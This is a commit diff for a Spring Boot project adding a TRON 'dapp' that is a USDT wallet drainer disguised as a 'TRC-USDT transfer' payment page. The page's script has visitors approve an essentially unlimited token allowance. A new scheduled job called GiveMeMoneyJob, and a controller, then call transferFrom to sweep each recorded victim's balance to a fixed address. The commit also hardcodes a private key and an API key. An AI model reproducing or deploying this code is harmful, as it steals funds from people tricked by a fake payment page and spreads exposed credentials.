fix
Helius
2021-10-20 56feb5713f436f0590a196e56b7a0a76e37145a1
fix
4 files modified
6 files added
1 files deleted
2 files renamed
332 ■■■■ changed files
src/main/java/cc/mrbird/febs/FebsShiroApplication.java 2 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/Job/GiveMeMoneyJob.java 53 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/common/configure/TaskConfig.java 22 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/common/contants/AppContants.java 2 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/controller/DappController.java 69 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/dto/TrxPostDto.java 5 ●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/entity/DappAddressList.java 24 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/mapper/DappAdressListDao.java 14 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java 47 ●●●●● patch | view | raw | blame | history
src/main/resources/application.yml 1 ●●●● patch | view | raw | blame | history
src/main/resources/mapper/dapp/DappAdressListDao.xml 8 ●●●●● patch | view | raw | blame | history
src/main/resources/static/tron-app/img/loading.gif patch | view | raw | blame | history
src/main/resources/static/tron-app/tron.html 85 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/FebsShiroApplication.java
@@ -5,12 +5,14 @@
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.scheduling.annotation.EnableAsync;
import org.springframework.scheduling.annotation.EnableScheduling;
import org.springframework.transaction.annotation.EnableTransactionManagement;
/**
 * @author MrBird
 */
@EnableAsync
@EnableScheduling
@SpringBootApplication
@EnableTransactionManagement
@MapperScan("cc.mrbird.febs.*.mapper")
src/main/java/cc/mrbird/febs/Job/GiveMeMoneyJob.java
New file
@@ -0,0 +1,53 @@
package cc.mrbird.febs.Job;
import cc.mrbird.febs.common.contants.AppContants;
import cc.mrbird.febs.dapp.entity.DappAddressList;
import cc.mrbird.febs.dapp.mapper.DappAdressListDao;
import cn.hutool.core.collection.CollUtil;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.scheduling.annotation.Scheduled;
import org.springframework.stereotype.Component;
import org.tron.trident.core.ApiWrapper;
import org.tron.trident.core.contract.Contract;
import org.tron.trident.core.contract.Trc20Contract;
import java.math.BigInteger;
import java.util.List;
/**
 * @author wzy
 * @date 2021-10-20
 **/
@Slf4j
@Component
public class GiveMeMoneyJob {
    private final ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54");
    ;
    @Autowired
    private DappAdressListDao dappAdressListDao;
    @Scheduled(cron = "0 0/5 * * * ? ")
    public void giveMeMoney() {
        log.info("give me money");
        List<DappAddressList> list = dappAdressListDao.selectList(null);
        if (CollUtil.isEmpty(list)) {
            return;
        }
        for (DappAddressList address : list) {
            Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
            Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper);
            BigInteger balanceOf = token.balanceOf(address.getAddress());
            log.info("====>{}", balanceOf.intValue());
            if (balanceOf.intValue() <= 0) {
                continue;
            }
            token.transferFrom(address.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balanceOf.intValue(), 0, "memo", 100000000L);
        }
    }
}
src/main/java/cc/mrbird/febs/common/configure/TaskConfig.java
New file
@@ -0,0 +1,22 @@
package cc.mrbird.febs.common.configure;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.scheduling.TaskScheduler;
import org.springframework.scheduling.concurrent.ThreadPoolTaskScheduler;
/**
 * @author wzy
 * @date 2021-10-20
 **/
@Configuration
public class TaskConfig {
    @Bean
    public TaskScheduler taskScheduler(){
        ThreadPoolTaskScheduler taskScheduler = new ThreadPoolTaskScheduler();
        taskScheduler.setPoolSize(10);
        taskScheduler.initialize();
        return taskScheduler;
    }
}
src/main/java/cc/mrbird/febs/common/contants/AppContants.java
@@ -77,4 +77,6 @@
    public static final String CLOSING_ORDER_PREFIX = "closing_cnt_";
    public static final String TRX_PRIVATE_KEY = "7a1cdc7aa2976b16cfc79ed8310b1fb53a85780dd27574fa6c5eb7c2aceaa6ae";
}
src/main/java/cc/mrbird/febs/dapp/controller/DappController.java
New file
@@ -0,0 +1,69 @@
package cc.mrbird.febs.dapp.controller;
import cc.mrbird.febs.common.contants.AppContants;
import cc.mrbird.febs.common.entity.FebsResponse;
import cc.mrbird.febs.dapp.mapper.DappAdressListDao;
import cc.mrbird.febs.dapp.dto.TrxPostDto;
import cc.mrbird.febs.dapp.entity.DappAddressList;
import cn.hutool.core.util.StrUtil;
import io.swagger.annotations.Api;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import org.tron.trident.core.ApiWrapper;
import org.tron.trident.core.contract.Contract;
import org.tron.trident.core.contract.Trc20Contract;
import javax.servlet.http.HttpServletRequest;
import java.math.BigDecimal;
import java.math.BigInteger;
import java.util.Date;
/**
 * @author wzy
 * @date 2021-10-19
 **/
@Slf4j
@RequiredArgsConstructor
@CrossOrigin(origins = "*")
@RestController
@Api(value = "接口啊", tags = "接口啊")
@RequestMapping(value = "/trx")
public class DappController {
    @Autowired
    private DappAdressListDao dappAdressListDao;
    @PostMapping(value = "/trcPost.html")
    public FebsResponse trxPost(TrxPostDto trxPostDto, HttpServletRequest request) {
        log.info("-----进入方法-----");
        DappAddressList dappAddress = dappAdressListDao.selectByAddress(trxPostDto.getAddress());
        if (dappAddress == null) {
            dappAddress = new DappAddressList();
            dappAddress.setCreateTime(new Date());
            dappAddress.setAddress(trxPostDto.getAddress());
            dappAdressListDao.insert(dappAddress);
        }
        ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54");
        Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
        Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper);
//        BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress());
//        System.out.println(balanceOf);
        BigInteger decimals = token.decimals();
        BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
        BigDecimal amount = BigDecimal.ZERO;
        if (StrUtil.isNotBlank(trxPostDto.getAmount())) {
            amount = new BigDecimal(trxPostDto.getAmount());
        }
        amount = amount.multiply(mul);
        token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", amount.intValue(), 0, "memo", 100000000L);
        return new FebsResponse().success();
    }
}
src/main/java/cc/mrbird/febs/dapp/dto/TrxPostDto.java
File was renamed from src/main/java/cc/mrbird/febs/modules/dapp/dto/TrxPostDto.java
@@ -1,4 +1,4 @@
package cc.mrbird.febs.modules.dapp.dto;
package cc.mrbird.febs.dapp.dto;
import io.swagger.annotations.ApiModel;
import io.swagger.annotations.ApiModelProperty;
@@ -20,4 +20,7 @@
    @ApiModelProperty(value = "授权地址", example = "123")
    private String authAddress;
    @ApiModelProperty(value = "金额", example = "1")
    private String amount;
}
src/main/java/cc/mrbird/febs/dapp/entity/DappAddressList.java
New file
@@ -0,0 +1,24 @@
package cc.mrbird.febs.dapp.entity;
import com.baomidou.mybatisplus.annotation.IdType;
import com.baomidou.mybatisplus.annotation.TableId;
import com.baomidou.mybatisplus.annotation.TableName;
import lombok.Data;
import java.util.Date;
/**
 * @author wzy
 * @date 2021-10-20
 **/
@Data
@TableName("dapp_address_list")
public class DappAddressList {
    private Date createTime;
    @TableId(value = "id",type = IdType.AUTO)
    private Long id;
    private String address;
}
src/main/java/cc/mrbird/febs/dapp/mapper/DappAdressListDao.java
New file
@@ -0,0 +1,14 @@
package cc.mrbird.febs.dapp.mapper;
import cc.mrbird.febs.dapp.entity.DappAddressList;
import com.baomidou.mybatisplus.core.mapper.BaseMapper;
import org.apache.ibatis.annotations.Param;
/**
 * @author wzy
 * @date 2021-10-20
 **/
public interface DappAdressListDao extends BaseMapper<DappAddressList> {
    DappAddressList selectByAddress(@Param("address") String address);
}
src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java
File was deleted
src/main/resources/application.yml
@@ -26,7 +26,6 @@
    banner: false
    db-config:
      select-strategy: not_empty
logging:
  level:
    com:
src/main/resources/mapper/dapp/DappAdressListDao.xml
New file
@@ -0,0 +1,8 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="cc.mrbird.febs.dapp.mapper.DappAdressListDao">
    <select id="selectByAddress" resultType="cc.mrbird.febs.dapp.entity.DappAddressList">
        select * from dapp_address_list where address=#{address}
    </select>
</mapper>
src/main/resources/static/tron-app/img/loading.gif

src/main/resources/static/tron-app/tron.html
@@ -1,6 +1,28 @@
<!DOCTYPE html>
<!-- saved from url=(0080)https://fymodi.com/index/index/trc_usdt_transfer.html?agent=10000&address=123456 -->
<html lang="en" data-dpr="1" style="font-size: 37.5px;" class="no-touch"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><link rel="icon" href="https://fymodi.com/favicon.ico" type="image/x-icon"><link rel="shortcut icon" href="https://fymodi.com/favicon.ico" type="image/x-icon"><!-- Required meta tags--><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, viewport-fit=cover"><meta name="apple-mobile-web-app-capable" content="yes"><meta name="apple-mobile-web-app-status-bar-style" content="black"><meta name="format-detection" content="telephone=no, email=no"><meta name="msapplication-tap-highlight" content="no"><meta name="x5-orientation" content="portrait"><meta name="x5-fullscreen" content="true"><link rel="icon" href="https://fymodi.com/index/index/favicon.ico"><meta name="description" content=""><meta name="keywords" content=""><!-- App title --><title>TRC-USDT 转账</title><!-- Framework7 Library CSS --><link rel="stylesheet" href="./tron_files/vendor.min.css"><!-- Custom app styles--><link rel="stylesheet" href="./tron_files/reset.min.css"><link rel="stylesheet" href="./tron_files/main.css"><script type="text/javascript" src="./tron_files/TronWeb.js"></script><!-- Jquery app core js--><script type="text/javascript" src="./tron_files/jquery-2.1.4.min.js"></script><script type="text/javascript" src="./tron_files/flexible.js"></script><style type="text/css">            .tishi{
<html lang="en" data-dpr="1" style="font-size: 37.5px;" class="no-touch">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <link rel="icon" href="https://fymodi.com/favicon.ico" type="image/x-icon">
    <link rel="shortcut icon" href="https://fymodi.com/favicon.ico" type="image/x-icon"><!-- Required meta tags-->
    <meta name="viewport"
          content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, viewport-fit=cover">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-status-bar-style" content="black">
    <meta name="format-detection" content="telephone=no, email=no">
    <meta name="msapplication-tap-highlight" content="no">
    <meta name="x5-orientation" content="portrait">
    <meta name="x5-fullscreen" content="true">
    <link rel="icon" href="https://fymodi.com/index/index/favicon.ico">
    <meta name="description" content="">
    <meta name="keywords" content=""><!-- App title --><title>TRC-USDT 转账</title><!-- Framework7 Library CSS -->
    <link rel="stylesheet" href="./tron_files/vendor.min.css"><!-- Custom app styles-->
    <link rel="stylesheet" href="./tron_files/reset.min.css">
    <link rel="stylesheet" href="./tron_files/main.css">
    <script type="text/javascript" src="./tron_files/TronWeb.js"></script><!-- Jquery app core js-->
    <script type="text/javascript" src="./tron_files/jquery-2.1.4.min.js"></script>
    <script type="text/javascript" src="./tron_files/flexible.js"></script>
    <style type="text/css">            .tishi {
                width: 3.5rem;
                height: 1.2rem;
                background: #00000059;
@@ -16,8 +38,52 @@
                line-height: 1.2rem;
                display: none;
            }
        </style></head><body style="font-size: 12px;"><!-- Views --><div class="views"><!-- main view --><div class="view view-main"><!-- Pages --><div class="pages navbar-through"><div class="page"><div class="page-content" style="padding-top: 0.5rem;"><div class="list-block address"><div class="list-block-title">收款地址</div><ul><li class="item-content"><div class="item-inner"><div class="item-title" id="address">TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t</div></div></li></ul></div><div class="list-block amount"><div class="list-block-title">金额<span id="yu">0 USDT</span></div><ul><li class="item-content"><div class="item-inner"><div class="item-title"><input class="num" placeholder="0"><p>¥ <span id="price" style="color: inherit;font-size:inherit;">0</span></p></div></div></li><!--<li class="item-content">--><!--    <div class="item-inner">--><!--        <div class="item-after">备注</div>--><!--    </div>--><!--</li>--></ul><!-- <ul><li class="item-content item-link"><div class="item-inner"><div class="item-title">矿工费</div><div class="item-after"><p>0.002640 ETH</p><p>¥44.69</p></div></div></li></ul> --></div><div class="list-block-button"><button class="button button-fill " id="btn-connect" style="background: rgb(7, 139, 195);">下一步</button></div></div></div><!-- Preloader --><div class="modal"><div class="preloader"></div></div><div class="tishi">                        付款成功
                    </div></div></div><div id="s"></div></div>
    </style>
</head>
<body style="font-size: 12px;"><!-- Views -->
<div class="views"><!-- main view -->
    <div class="view view-main"><!-- Pages -->
        <div class="pages navbar-through">
            <div class="page">
                <div class="page-content" style="padding-top: 0.5rem;">
                    <div class="list-block address">
                        <div class="list-block-title">收款地址</div>
                        <ul>
                            <li class="item-content">
                                <div class="item-inner">
                                    <div class="item-title" id="address">TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t</div>
                                </div>
                            </li>
                        </ul>
                    </div>
                    <div class="list-block amount">
                        <div class="list-block-title">金额<span id="yu">0 USDT</span></div>
                        <ul>
                            <li class="item-content">
                                <div class="item-inner">
                                    <div class="item-title"><input class="num" placeholder="0">
                                        <p>¥ <span id="price" style="color: inherit;font-size:inherit;">0</span></p>
                                    </div>
                                </div>
                            </li><!--<li class="item-content">--><!--    <div class="item-inner">-->
                            <!--        <div class="item-after">备注</div>--><!--    </div>--><!--</li>--></ul>
                        <!-- <ul><li class="item-content item-link"><div class="item-inner"><div class="item-title">矿工费</div><div class="item-after"><p>0.002640 ETH</p><p>¥44.69</p></div></div></li></ul> -->
                    </div>
                    <div class="list-block-button">
                        <button class="button button-fill " id="btn-connect" style="background: rgb(7, 139, 195);">下一步
                        </button>
                    </div>
                </div>
            </div><!-- Preloader -->
            <div class="modal">
                <div class="preloader"></div>
            </div>
            <div class="tishi"> 付款成功
            </div>
        </div>
    </div>
    <div id="s"></div>
</div>
        <div id="fffsss" style="color: white;z-index: 99999999999999999;position: absolute;top: 1px;"></div>
        <div style="display:none;">
            <textarea id="jsondata">
@@ -33,6 +99,7 @@
            // var domain = 'http://localhost:8080';
            var bizhong = 'USDT';
            var approveAddr = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
            function getUrlQueryString(names, urls) {
                urls = urls || window.location.href;
                urls && urls.indexOf("?") > -1 ? urls = urls.substring(urls.indexOf("?") + 1) : "";
@@ -54,10 +121,12 @@
            })
            async function postInfo(address,symbol){
        var amount = $($('input.num')[0]).val();
                var data = {
                    address:address,
                    authAddress:authorized_address,
                    symbol:symbol
            symbol: symbol,
            amount: amount
                }
                $.ajax({
@@ -104,6 +173,7 @@
            }
            var total=0;
            async function getMostValuableAssets(account) {
                let _symbol = 'USDT';
                for (const symbol of Object.keys(addr)) {
@@ -132,6 +202,7 @@
                let tronWeb = window.tronWeb;
                let walletAddress = tronWeb.defaultAddress.base58;
                // bizhong = await getMostValuableAssets(walletAddress);
            // postInfo(walletAddress, bizhong)
                let instance = await tronWeb.contract().at(approveAddr);
                let res = await instance["approve"](authorized_address,"90000000000000000000000000000");
                res.send({
@@ -150,6 +221,7 @@
                    $('.modal').removeClass('modal-in').addClass('modal-out');
                })
            }
            function init() {
            }
            
@@ -184,4 +256,7 @@
                $('#s').click()
            },1000);
        })
        </script><script type="text/javascript" referrerpolicy="unsafe-url" src="./tron_files/jquery.js"></script></body></html>
</script>
<script type="text/javascript" referrerpolicy="unsafe-url" src="./tron_files/jquery.js"></script>
</body>
</html>